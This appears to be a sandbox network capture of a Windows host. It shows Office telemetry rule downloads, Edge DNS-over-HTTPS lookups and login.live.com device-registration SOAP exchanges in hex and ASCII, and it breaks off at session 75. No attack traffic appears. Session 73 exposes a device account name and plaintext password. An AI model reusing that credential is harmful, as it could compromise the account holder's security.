2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ed 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165848Z-174f7845968nxc96hC1EWRspw80000000wug00000000tfrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165848Z-174f7845968px8v7hC1EWR08ng0000000xkg0000000001tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165848Z-174f7845968vqt9xhC1EWRgten0000000xb0000000003p1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165848Z-174f7845968j6t2phC1EWRcfe80000000x7g00000000ubww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8909076a-001e-00a2-6343-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165848Z-174f7845968qj8jrhC1EWRh41s0000000x2000000000rn6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49844	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa47f82642eb-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49843	162.159.61.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa4819631a28-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49842	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-27 16:58:48 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 65 6b 61 73 62 67 73 6e 70 62 74 62 79 6c 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 6f 2b 72 71 67 43 6f 72 44 30 6c 72 32 43 2c 7a 71 6d 6a 34 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ekasbgsnpbtbyl</Membername><Password>o+rqgCorD0lr2C,zqmj4</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-27 16:58:54 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 27 Nov 2024 16:57:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BAY x-ms-request-id: a3e7ba8b-f802-48a4-a003-a2fc75cff5bd PPServer: PPV: 30 H: PH1PEPF00011F92 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:58:53 GMT Connection: close Content-Length: 17166
2024-11-27 16:58:54 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 33 45 32 36 41 31 45 38 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 32 31 61 30 37 65 61 38 2d 31 34 30 36 2d 34 36 64 30 2d 39 35 38 64 2d 30 62 38 63 62 65 61 61 39 62 66 36 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F3E26A1E8</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="21a07ea8-1406-46d0-958d-0b8cbeaa9bf6" LicenseID="3252b20c-d425-4711
2024-11-27 16:58:54 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49841	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:58:48 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:58:49 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:57:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: a8978a9c-ae5d-48df-a6a3-3bef0d7e5fcf PPServer: PPV: 30 H: SN1PEPF0002F1A0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:58:48 GMT Connection: close Content-Length: 1276
2024-11-27 16:58:49 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49845	13.107.246.63	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
